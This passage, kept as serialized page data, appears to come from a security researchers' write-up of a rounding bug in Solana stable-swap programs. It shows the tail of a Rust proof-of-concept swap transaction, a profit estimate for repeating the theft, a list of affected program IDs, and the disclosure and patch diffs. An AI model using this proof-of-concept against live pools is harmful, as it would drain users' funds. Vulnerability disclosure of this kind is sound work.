ype":23,"tag":41,"props":3552,"children":3553},{"style":170},[3554],{"type":28,"value":3469},{"type":23,"tag":41,"props":3556,"children":3557},{"style":858},[3558],{"type":28,"value":3559},"sbtc_user_account",{"type":23,"tag":41,"props":3561,"children":3562},{"style":70},[3563],{"type":28,"value":3506},{"type":23,"tag":41,"props":3565,"children":3566},{"class":43,"line":922},[3567,3571,3576],{"type":23,"tag":41,"props":3568,"children":3569},{"style":170},[3570],{"type":28,"value":3469},{"type":23,"tag":41,"props":3572,"children":3573},{"style":858},[3574],{"type":28,"value":3575},"sbtc_reserve",{"type":23,"tag":41,"props":3577,"children":3578},{"style":70},[3579],{"type":28,"value":3506},{"type":23,"tag":41,"props":3581,"children":3582},{"class":43,"line":930},[3583,3587,3592],{"type":23,"tag":41,"props":3584,"children":3585},{"style":170},[3586],{"type":28,"value":3469},{"type":23,"tag":41,"props":3588,"children":3589},{"style":858},[3590],{"type":28,"value":3591},"renbtc_reserve",{"type":23,"tag":41,"props":3593,"children":3594},{"style":70},[3595],{"type":28,"value":3506},{"type":23,"tag":41,"props":3597,"children":3598},{"class":43,"line":939},[3599,3603,3608],{"type":23,"tag":41,"props":3600,"children":3601},{"style":170},[3602],{"type":28,"value":3469},{"type":23,"tag":41,"props":3604,"children":3605},{"style":858},[3606],{"type":28,"value":3607},"renbtc_user_account",{"type":23,"tag":41,"props":3609,"children":3610},{"style":70},[3611],{"type":28,"value":3506},{"type":23,"tag":41,"props":3613,"children":3614},{"class":43,"line":947},[3615,3619,3624],{"type":23,"tag":41,"props":3616,"children":3617},{"style":170},[3618],{"type":28,"value":3469},{"type":23,"tag":41,"props":3620,"children":3621},{"style":858},[3622],{"type":28,"value":3623},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":41,"props":3625,"children":3626},{"style":70},[3627],{"type":28,"value":3506},{"type":23,"tag":41,"props":3629,"children":3630},{"class":43,"line":985},[3631,3636],{"type":23,"tag":41,"props":3632,"children":3633},{"style":164},[3634],{"type":28,"value":3635},"        1",{"type":23,"tag":41,"props":3637,"children":3638},{"style":70},[3639],{"type":28,"value":3506},{"type":23,"tag":41,"props":3641,"children":3642},{"class":43,"line":1058},[3643],{"type":23,"tag":41,"props":3644,"children":3645},{"style":164},[3646],{"type":28,"value":3647},"        2\n",{"type":23,"tag":41,"props":3649,"children":3650},{"class":43,"line":1084},[3651,3656,3660,3665],{"type":23,"tag":41,"props":3652,"children":3653},{"style":70},[3654],{"type":28,"value":3655},"    )",{"type":23,"tag":41,"props":3657,"children":3658},{"style":170},[3659],{"type":28,"value":706},{"type":23,"tag":41,"props":3661,"children":3662},{"style":114},[3663],{"type":28,"value":3664},"unwrap",{"type":23,"tag":41,"props":3666,"children":3667},{"style":70},[3668],{"type":28,"value":3669},"();\n",{"type":23,"tag":41,"props":3671,"children":3672},{"class":43,"line":1102},[3673],{"type":23,"tag":41,"props":3674,"children":3675},{"emptyLinePlaceholder":18},[3676],{"type":28,"value":82},{"type":23,"tag":41,"props":3678,"children":3679},{"class":43,"line":1110},[3680],{"type":23,"tag":41,"props":3681,"children":3682},{"style":48},[3683],{"type":28,"value":3684},"    // nonce\n",{"type":23,"tag":41,"props":3686,"children":3687},{"class":43,"line":1118},[3688,3693,3697,3702,3706,3711,3715,3719,3724,3729,3733,3738,3742,3747],{"type":23,"tag":41,"props":3689,"children":3690},{"style":858},[3691],{"type":28,"value":3692},"    swap_instruction",{"type":23,"tag":41,"props":3694,"children":3695},{"style":170},[3696],{"type":28,"value":706},{"type":23,"tag":41,"props":3698,"children":3699},{"style":70},[3700],{"type":28,"value":3701},"data",{"type":23,"tag":41,"props":3703,"children":3704},{"style":170},[3705],{"type":28,"value":706},{"type":23,"tag":41,"props":3707,"children":3708},{"style":114},[3709],{"type":28,"value":3710},"append",{"type":23,"tag":41,"props":3712,"children":3713},{"style":70},[3714],{"type":28,"value":1737},{"type":23,"tag":41,"props":3716,"children":3717},{"style":170},[3718],{"type":28,"value":855},{"type":23,"tag":41,"props":3720,"children":3721},{"style":64},[3722],{"type":28,"value":3723},"mut",{"type":23,"tag":41,"props":3725,"children":3726},{"style":114},[3727],{"type":28,"value":3728}," vec!",{"type":23,"tag":41,"props":3730,"children":3731},{"style":70},[3732],{"type":28,"value":312},{"type":23,"tag":41,"props":3734,"children":3735},{"style":858},[3736],{"type":28,"value":3737},"i",{"type":23,"tag":41,"props":3739,"children":3740},{"style":70},[3741],{"type":28,"value":970},{"type":23,"tag":41,"props":3743,"children":3744},{"style":858},[3745],{"type":28,"value":3746},"extranonce",{"type":23,"tag":41,"props":3748,"children":3749},{"style":70},[3750],{"type":28,"value":3751},"]);\n",{"type":23,"tag":41,"props":3753,"children":3754},{"class":43,"line":1137},[3755],{"type":23,"tag":41,"props":3756,"children":3757},{"emptyLinePlaceholder":18},[3758],{"type":28,"value":82},{"type":23,"tag":41,"props":3760,"children":3761},{"class":43,"line":1163},[3762,3766,3770,3775,3779,3783],{"type":23,"tag":41,"props":3763,"children":3764},{"style":64},[3765],{"type":28,"value":3002},{"type":23,"tag":41,"props":3767,"children":3768},{"style":64},[3769],{"type":28,"value":3007},{"type":23,"tag":41,"props":3771,"children":3772},{"style":858},[3773],{"type":28,"value":3774}," instructions",{"type":23,"tag":41,"props":3776,"children":3777},{"style":170},[3778],{"type":28,"value":3017},{"type":23,"tag":41,"props":3780,"children":3781},{"style":114},[3782],{"type":28,"value":3728},{"type":23,"tag":41,"props":3784,"children":3785},{"style":70},[3786],{"type":28,"value":3787},"[];\n",{"type":23,"tag":41,"props":3789,"children":3790},{"class":43,"line":1188},[3791],{"type":23,"tag":41,"props":3792,"children":3793},{"emptyLinePlaceholder":18},[3794],{"type":28,"value":82},{"type":23,"tag":41,"props":3796,"children":3797},{"class":43,"line":1979},[3798,3803,3807,3812,3816,3821],{"type":23,"tag":41,"props":3799,"children":3800},{"style":858},[3801],{"type":28,"value":3802},"    instructions",{"type":23,"tag":41,"props":3804,"children":3805},{"style":170},[3806],{"type":28,"value":706},{"type":23,"tag":41,"props":3808,"children":3809},{"style":114},[3810],{"type":28,"value":3811},"push",{"type":23,"tag":41,"props":3813,"children":3814},{"style":70},[3815],{"type":28,"value":1737},{"type":23,"tag":41,"props":3817,"children":3818},{"style":858},[3819],{"type":28,"value":3820},"swap_instruction",{"type":23,"tag":41,"props":3822,"children":3823},{"style":70},[3824],{"type":28,"value":3825},");\n",{"type":23,"tag":41,"props":3827,"children":3828},{"class":43,"line":2002},[3829],{"type":23,"tag":41,"props":3830,"children":3831},{"emptyLinePlaceholder":18},[3832],{"type":28,"value":82},{"type":23,"tag":41,"props":3834,"children":3836},{"class":43,"line":3835},25,[3837,3842,3846,3851,3855,3859,3864,3868,3872,3877,3881,3885,3889],{"type":23,"tag":41,"props":3838,"children":3839},{"style":858},[3840],{"type":28,"value":3841},"    env",{"type":23,"tag":41,"props":3843,"children":3844},{"style":170},[3845],{"type":28,"value":706},{"type":23,"tag":41,"props":3847,"children":3848},{"style":114},[3849],{"type":28,"value":3850},"execute_as_transaction",{"type":23,"tag":41,"props":3852,"children":3853},{"style":70},[3854],{"type":28,"value":1737},{"type":23,"tag":41,"props":3856,"children":3857},{"style":170},[3858],{"type":28,"value":855},{"type":23,"tag":41,"props":3860,"children":3861},{"style":858},[3862],{"type":28,"value":3863},"instructions",{"type":23,"tag":41,"props":3865,"children":3866},{"style":70},[3867],{"type":28,"value":970},{"type":23,"tag":41,"props":3869,"children":3870},{"style":170},[3871],{"type":28,"value":855},{"type":23,"tag":41,"props":3873,"children":3874},{"style":114},[3875],{"type":28,"value":3876},"vec!",{"type":23,"tag":41,"props":3878,"children":3879},{"style":70},[3880],{"type":28,"value":312},{"type":23,"tag":41,"props":3882,"children":3883},{"style":170},[3884],{"type":28,"value":855},{"type":23,"tag":41,"props":3886,"children":3887},{"style":858},[3888],{"type":28,"value":3534},{"type":23,"tag":41,"props":3890,"children":3891},{"style":70},[3892],{"type":28,"value":3751},{"type":23,"tag":41,"props":3894,"children":3896},{"class":43,"line":3895},26,[3897],{"type":23,"tag":41,"props":3898,"children":3899},{"style":70},[3900],{"type":28,"value":201},{"type":23,"tag":24,"props":3902,"children":3903},{},[3904],{"type":28,"value":3905},"It works!",{"type":23,"tag":518,"props":3907,"children":3908},{},[3909],{"type":23,"tag":24,"props":3910,"children":3911},{},[3912],{"type":28,"value":3913},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":3915,"children":3916},{},[3917],{"type":23,"tag":3918,"props":3919,"children":3921},"img",{"alt":7,"src":3920},"/posts/spl-swap/poc.png",[],{"type":23,"tag":446,"props":3923,"children":3925},{"id":3924},"exploitability",[3926],{"type":28,"value":3927},"Exploitability",{"type":23,"tag":24,"props":3929,"children":3930},{},[3931],{"type":28,"value":3932},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":3934,"children":3935},{},[3936],{"type":28,"value":3937},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":3939,"children":3940},{},[3941],{"type":28,"value":3942},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":3944,"children":3945},{},[3946],{"type":23,"tag":3918,"props":3947,"children":3949},{"alt":7,"src":3948},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":3951,"children":3952},{},[3953,3955,3960],{"type":28,"value":3954},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":2913,"props":3956,"children":3957},{},[3958],{"type":28,"value":3959},"per instruction",{"type":28,"value":3961},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":3963,"children":3964},{},[3965],{"type":28,"value":3966},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":3968,"children":3969},{},[3970,3972,3976],{"type":28,"value":3971},"Some quick napkin math confirms that this ",{"type":23,"tag":2913,"props":3973,"children":3974},{},[3975],{"type":28,"value":2829},{"type":28,"value":3977}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":3979,"children":3980},{},[3981],{"type":23,"tag":37,"props":3982,"children":3986},{"className":3983},[3984,3985],"language-math","math-inline",[3987],{"type":23,"tag":41,"props":3988,"children":3991},{"className":3989},[3990],"katex",[3992],{"type":23,"tag":41,"props":3993,"children":3997},{"className":3994,"ariaHidden":3996},[3995],"katex-html","true",[3998,4106,4162,4202],{"type":23,"tag":41,"props":3999,"children":4002},{"className":4000},[4001],"base",[4003,4009,4015,4079,4089,4095,4102],{"type":23,"tag":41,"props":4004,"children":4008},{"className":4005,"style":4007},[4006],"strut","height:0.8141em;",[],{"type":23,"tag":41,"props":4010,"children":4013},{"className":4011},[4012],"mord",[4014],{"type":28,"value":317},{"type":23,"tag":41,"props":4016,"children":4018},{"className":4017},[4012],[4019,4025],{"type":23,"tag":41,"props":4020,"children":4022},{"className":4021},[4012],[4023],{"type":28,"value":4024},"0",{"type":23,"tag":41,"props":4026,"children":4029},{"className":4027},[4028],"msupsub",[4030],{"type":23,"tag":41,"props":4031,"children":4034},{"className":4032},[4033],"vlist-t",[4035],{"type":23,"tag":41,"props":4036,"children":4039},{"className":4037},[4038],"vlist-r",[4040],{"type":23,"tag":41,"props":4041,"children":4044},{"className":4042,"style":4007},[4043],"vlist",[4045],{"type":23,"tag":41,"props":4046,"children":4048},{"style":4047},"top:-3.063em;margin-right:0.05em;",[4049,4055],{"type":23,"tag":41,"props":4050,"children":4054},{"className":4051,"style":4053},[4052],"pstrut","height:2.7em;",[],{"type":23,"tag":41,"props":4056,"children":4062},{"className":4057},[4058,4059,4060,4061],"sizing","reset-size6","size3","mtight",[4063],{"type":23,"tag":41,"props":4064,"children":4066},{"className":4065},[4012,4061],[4067,4073],{"type":23,"tag":41,"props":4068,"children":4070},{"className":4069},[4012,4061],[4071],{"type":28,"value":4072},"−",{"type":23,"tag":41,"props":4074,"children":4076},{"className":4075},[4012,4061],[4077],{"type":28,"value":4078},"8",{"type":23,"tag":41,"props":4080,"children":4082},{"className":4081},[4012,28],[4083],{"type":23,"tag":41,"props":4084,"children":4086},{"className":4085},[4012],[4087],{"type":28,"value":4088}," BTC",{"type":23,"tag":41,"props":4090,"children":4094},{"className":4091,"style":4093},[4092],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":41,"props":4096,"children":4099},{"className":4097},[4098],"mbin",[4100],{"type":28,"value":4101},"∗",{"type":23,"tag":41,"props":4103,"children":4105},{"className":4104,"style":4093},[4092],[],{"type":23,"tag":41,"props":4107,"children":4109},{"className":4108},[4001],[4110,4115,4121,4128,4133,4139,4149,4153,4158],{"type":23,"tag":41,"props":4111,"children":4114},{"className":4112,"style":4113},[4006],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":41,"props":4116,"children":4118},{"className":4117},[4012],[4119],{"type":28,"value":4120},"$41",{"type":23,"tag":41,"props":4122,"children":4125},{"className":4123},[4124],"mpunct",[4126],{"type":28,"value":4127},",",{"type":23,"tag":41,"props":4129,"children":4132},{"className":4130,"style":4131},[4092],"margin-right:0.1667em;",[],{"type":23,"tag":41,"props":4134,"children":4136},{"className":4135},[4012],[4137],{"type":28,"value":4138},"400/",{"type":23,"tag":41,"props":4140,"children":4142},{"className":4141},[4012,28],[4143],{"type":23,"tag":41,"props":4144,"children":4146},{"className":4145},[4012],[4147],{"type":28,"value":4148},"BTC",{"type":23,"tag":41,"props":4150,"children":4152},{"className":4151,"style":4093},[4092],[],{"type":23,"tag":41,"props":4154,"children":4156},{"className":4155},[4098],[4157],{"type":28,"value":4101},{"type":23,"tag":41,"props":4159,"children":4161},{"className":4160,"style":4093},[4092],[],{"type":23,"tag":41,"props":4163,"children":4165},{"className":4164},[4001],[4166,4171,4177,4187,4192,4198],{"type":23,"tag":41,"props":4167,"children":4170},{"className":4168,"style":4169},[4006],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":4172,"children":4174},{"className":4173},[4012],[4175],{"type":28,"value":4176},"150",{"type":23,"tag":41,"props":4178,"children":4180},{"className":4179},[4012,28],[4181],{"type":23,"tag":41,"props":4182,"children":4184},{"className":4183},[4012],[4185],{"type":28,"value":4186}," swaps",{"type":23,"tag":41,"props":4188,"children":4191},{"className":4189,"style":4190},[4092],"margin-right:0.2778em;",[],{"type":23,"tag":41,"props":4193,"children":4196},{"className":4194},[4195],"mrel",[4197],{"type":28,"value":2381},{"type":23,"tag":41,"props":4199,"children":4201},{"className":4200,"style":4190},[4092],[],{"type":23,"tag":41,"props":4203,"children":4205},{"className":4204},[4001],[4206,4211],{"type":23,"tag":41,"props":4207,"children":4210},{"className":4208,"style":4209},[4006],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":41,"props":4212,"children":4214},{"className":4213},[4012],[4215],{"type":28,"value":4216},"$0.0621",{"type":23,"tag":24,"props":4218,"children":4219},{},[4220],{"type":28,"value":4221},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":4223,"children":4224},{},[4225],{"type":28,"value":4226},"We're well on our way to becoming a millionaire!",{"type":23,"tag":446,"props":4228,"children":4230},{"id":4229},"patch",[4231],{"type":28,"value":4232},"Patch",{"type":23,"tag":24,"props":4234,"children":4235},{},[4236],{"type":28,"value":4237},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":4239,"children":4240},{},[4241],{"type":28,"value":4242},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":31,"props":4244,"children":4246},{"code":4245,"language":1205,"meta":7,"className":1206,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n",[4247],{"type":23,"tag":37,"props":4248,"children":4249},{"__ignoreMap":7},[4250],{"type":23,"tag":41,"props":4251,"children":4252},{"class":43,"line":44},[4253,4257,4262,4267,4272,4277,4282],{"type":23,"tag":41,"props":4254,"children":4255},{"style":114},[4256],{"type":28,"value":2881},{"type":23,"tag":41,"props":4258,"children":4259},{"style":735},[4260],{"type":28,"value":4261}," logs",{"type":23,"tag":41,"props":4263,"children":4264},{"style":735},[4265],{"type":28,"value":4266}," -um",{"type":23,"tag":41,"props":4268,"children":4269},{"style":170},[4270],{"type":28,"value":4271}," |",{"type":23,"tag":41,"props":4273,"children":4274},{"style":114},[4275],{"type":28,"value":4276}," grep",{"type":23,"tag":41,"props":4278,"children":4279},{"style":735},[4280],{"type":28,"value":4281}," 'Instruction: Swap'",{"type":23,"tag":41,"props":4283,"children":4284},{"style":735},[4285],{"type":28,"value":4286}," -B1\n",{"type":23,"tag":24,"props":4288,"children":4289},{},[4290],{"type":28,"value":4291},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":31,"props":4293,"children":4295},{"code":4294},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[4296],{"type":23,"tag":37,"props":4297,"children":4298},{"__ignoreMap":7},[4299],{"type":28,"value":4294},{"type":23,"tag":24,"props":4301,"children":4302},{},[4303],{"type":28,"value":4304},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":4306,"children":4307},{},[4308],{"type":28,"value":4309},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":4311,"children":4312},{},[4313],{"type":28,"value":4314},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":31,"props":4316,"children":4318},{"code":4317,"language":2981,"meta":7,"className":2982,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[4319],{"type":23,"tag":37,"props":4320,"children":4321},{"__ignoreMap":7},[4322,4376,4389],{"type":23,"tag":41,"props":4323,"children":4324},{"class":43,"line":44},[4325,4330,4334,4339,4343,4348,4352,4356,4360,4364,4368,4372],{"type":23,"tag":41,"props":4326,"children":4327},{"style":170},[4328],{"type":28,"value":4329},"-",{"type":23,"tag":41,"props":4331,"children":4332},{"style":64},[4333],{"type":28,"value":3066},{"type":23,"tag":41,"props":4335,"children":4336},{"style":858},[4337],{"type":28,"value":4338}," dy",{"type":23,"tag":41,"props":4340,"children":4341},{"style":170},[4342],{"type":28,"value":3017},{"type":23,"tag":41,"props":4344,"children":4345},{"style":858},[4346],{"type":28,"value":4347}," swap_destination_amount",{"type":23,"tag":41,"props":4349,"children":4350},{"style":170},[4351],{"type":28,"value":706},{"type":23,"tag":41,"props":4353,"children":4354},{"style":114},[4355],{"type":28,"value":3235},{"type":23,"tag":41,"props":4357,"children":4358},{"style":70},[4359],{"type":28,"value":1737},{"type":23,"tag":41,"props":4361,"children":4362},{"style":858},[4363],{"type":28,"value":3114},{"type":23,"tag":41,"props":4365,"children":4366},{"style":70},[4367],{"type":28,"value":2678},{"type":23,"tag":41,"props":4369,"children":4370},{"style":170},[4371],{"type":28,"value":3155},{"type":23,"tag":41,"props":4373,"children":4374},{"style":70},[4375],{"type":28,"value":183},{"type":23,"tag":41,"props":4377,"children":4378},{"class":43,"line":54},[4379,4384],{"type":23,"tag":41,"props":4380,"children":4381},{"style":170},[4382],{"type":28,"value":4383},"+",{"type":23,"tag":41,"props":4385,"children":4386},{"style":48},[4387],{"type":28,"value":4388},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":41,"props":4390,"children":4391},{"class":43,"line":76},[4392,4396,4400,4404,4408,4412,4416,4420,4424,4428,4432,4436,4440,4444,4448,4452,4456],{"type":23,"tag":41,"props":4393,"children":4394},{"style":170},[4395],{"type":28,"value":4383},{"type":23,"tag":41,"props":4397,"children":4398},{"style":64},[4399],{"type":28,"value":3066},{"type":23,"tag":41,"props":4401,"children":4402},{"style":858},[4403],{"type":28,"value":4338},{"type":23,"tag":41,"props":4405,"children":4406},{"style":170},[4407],{"type":28,"value":3017},{"type":23,"tag":41,"props":4409,"children":4410},{"style":858},[4411],{"type":28,"value":4347},{"type":23,"tag":41,"props":4413,"children":4414},{"style":170},[4415],{"type":28,"value":706},{"type":23,"tag":41,"props":4417,"children":4418},{"style":114},[4419],{"type":28,"value":3235},{"type":23,"tag":41,"props":4421,"children":4422},{"style":70},[4423],{"type":28,"value":1737},{"type":23,"tag":41,"props":4425,"children":4426},{"style":858},[4427],{"type":28,"value":3114},{"type":23,"tag":41,"props":4429,"children":4430},{"style":70},[4431],{"type":28,"value":2678},{"type":23,"tag":41,"props":4433,"children":4434},{"style":170},[4435],{"type":28,"value":3132},{"type":23,"tag":41,"props":4437,"children":4438},{"style":114},[4439],{"type":28,"value":3235},{"type":23,"tag":41,"props":4441,"children":4442},{"style":70},[4443],{"type":28,"value":1737},{"type":23,"tag":41,"props":4445,"children":4446},{"style":164},[4447],{"type":28,"value":317},{"type":23,"tag":41,"props":4449,"children":4450},{"style":70},[4451],{"type":28,"value":2678},{"type":23,"tag":41,"props":4453,"children":4454},{"style":170},[4455],{"type":28,"value":3155},{"type":23,"tag":41,"props":4457,"children":4458},{"style":70},[4459],{"type":28,"value":183},{"type":23,"tag":24,"props":4461,"children":4462},{},[4463,4465,4472],{"type":28,"value":4464},"For reference, here is the ",{"type":23,"tag":458,"props":4466,"children":4469},{"href":4467,"rel":4468},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[462],[4470],{"type":28,"value":4471},"Curve.fi implementation",{"type":28,"value":706},{"type":23,"tag":31,"props":4474,"children":4476},{"code":4475,"language":16,"meta":7,"className":34,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[4477],{"type":23,"tag":37,"props":4478,"children":4479},{"__ignoreMap":7},[4480,4541],{"type":23,"tag":41,"props":4481,"children":4482},{"class":43,"line":44},[4483,4488,4492,4497,4501,4506,4510,4515,4519,4523,4528,4532,4536],{"type":23,"tag":41,"props":4484,"children":4485},{"style":70},[4486],{"type":28,"value":4487},"    dy",{"type":23,"tag":41,"props":4489,"children":4490},{"style":170},[4491],{"type":28,"value":1474},{"type":23,"tag":41,"props":4493,"children":4494},{"style":94},[4495],{"type":28,"value":4496}," uint256",{"type":23,"tag":41,"props":4498,"children":4499},{"style":170},[4500],{"type":28,"value":3017},{"type":23,"tag":41,"props":4502,"children":4503},{"style":70},[4504],{"type":28,"value":4505}," xp[j] ",{"type":23,"tag":41,"props":4507,"children":4508},{"style":170},[4509],{"type":28,"value":4329},{"type":23,"tag":41,"props":4511,"children":4512},{"style":70},[4513],{"type":28,"value":4514}," y ",{"type":23,"tag":41,"props":4516,"children":4517},{"style":170},[4518],{"type":28,"value":4329},{"type":23,"tag":41,"props":4520,"children":4521},{"style":164},[4522],{"type":28,"value":167},{"type":23,"tag":41,"props":4524,"children":4525},{"style":70},[4526],{"type":28,"value":4527},"  # ",{"type":23,"tag":41,"props":4529,"children":4530},{"style":170},[4531],{"type":28,"value":4329},{"type":23,"tag":41,"props":4533,"children":4534},{"style":164},[4535],{"type":28,"value":317},{"type":23,"tag":41,"props":4537,"children":4538},{"style":70},[4539],{"type":28,"value":4540}," just in case there were some rounding errors\n",{"type":23,"tag":41,"props":4542,"children":4543},{"class":43,"line":54},[4544,4549,4553,4557,4561,4566,4570,4575,4580],{"type":23,"tag":41,"props":4545,"children":4546},{"style":70},[4547],{"type":28,"value":4548},"    dy_fee",{"type":23,"tag":41,"props":4550,"children":4551},{"style":170},[4552],{"type":28,"value":1474},{"type":23,"tag":41,"props":4554,"children":4555},{"style":94},[4556],{"type":28,"value":4496},{"type":23,"tag":41,"props":4558,"children":4559},{"style":170},[4560],{"type":28,"value":3017},{"type":23,"tag":41,"props":4562,"children":4563},{"style":70},[4564],{"type":28,"value":4565}," dy ",{"type":23,"tag":41,"props":4567,"children":4568},{"style":170},[4569],{"type":28,"value":377},{"type":23,"tag":41,"props":4571,"children":4572},{"style":70},[4573],{"type":28,"value":4574}," self.fee ",{"type":23,"tag":41,"props":4576,"children":4577},{"style":170},[4578],{"type":28,"value":4579},"/",{"type":23,"tag":41,"props":4581,"children":4582},{"style":70},[4583],{"type":28,"value":4584}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":4586,"children":4587},{},[4588,4590,4597],{"type":28,"value":4589},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":458,"props":4591,"children":4594},{"href":4592,"rel":4593},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[462],[4595],{"type":28,"value":4596},"original commit",{"type":28,"value":4598},", not as an additional security patch.",{"type":23,"tag":31,"props":4600,"children":4602},{"code":4601},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[4603],{"type":23,"tag":37,"props":4604,"children":4605},{"__ignoreMap":7},[4606],{"type":28,"value":4601},{"type":23,"tag":24,"props":4608,"children":4609},{},[4610,4612,4619],{"type":28,"value":4611},"The commit adding stable swaps to SPL was ",{"type":23,"tag":458,"props":4613,"children":4616},{"href":4614,"rel":4615},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[462],[4617],{"type":28,"value":4618},"made a few months later",{"type":28,"value":4620},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":31,"props":4622,"children":4624},{"code":4623},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[4625],{"type":23,"tag":37,"props":4626,"children":4627},{"__ignoreMap":7},[4628],{"type":28,"value":4623},{"type":23,"tag":24,"props":4630,"children":4631},{},[4632,4634,4641],{"type":28,"value":4633},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":458,"props":4635,"children":4638},{"href":4636,"rel":4637},"https://github.com/solana-labs/solana-program-library",[462],[4639],{"type":28,"value":4640},"the Solana Program Library",{"type":28,"value":706},{"type":23,"tag":24,"props":4643,"children":4644},{},[4645],{"type":28,"value":4646},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":4648,"children":4649},{},[4650,4657],{"type":23,"tag":458,"props":4651,"children":4654},{"href":4652,"rel":4653},"https://github.com/joncinque",[462],[4655],{"type":28,"value":4656},"@joncinque",{"type":28,"value":4658}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":518,"props":4660,"children":4661},{},[4662],{"type":23,"tag":24,"props":4663,"children":4664},{},[4665],{"type":28,"value":4666},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":4668,"children":4669},{},[4670,4672,4679,4681,4687],{"type":28,"value":4671},"After some thought, he helped ",{"type":23,"tag":458,"props":4673,"children":4676},{"href":4674,"rel":4675},"https://github.com/solana-labs/solana-program-library/pull/2942",[462],[4677],{"type":28,"value":4678},"introduce a PR",{"type":28,"value":4680}," which ceilings the computation in ",{"type":23,"tag":37,"props":4682,"children":4684},{"className":4683},[],[4685],{"type":28,"value":4686},"compute_new_destination_amount",{"type":28,"value":4688}," to correctly round within the stable curve math library.",{"type":23,"tag":31,"props":4690,"children":4692},{"code":4691,"language":2981,"meta":7,"className":2982,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-   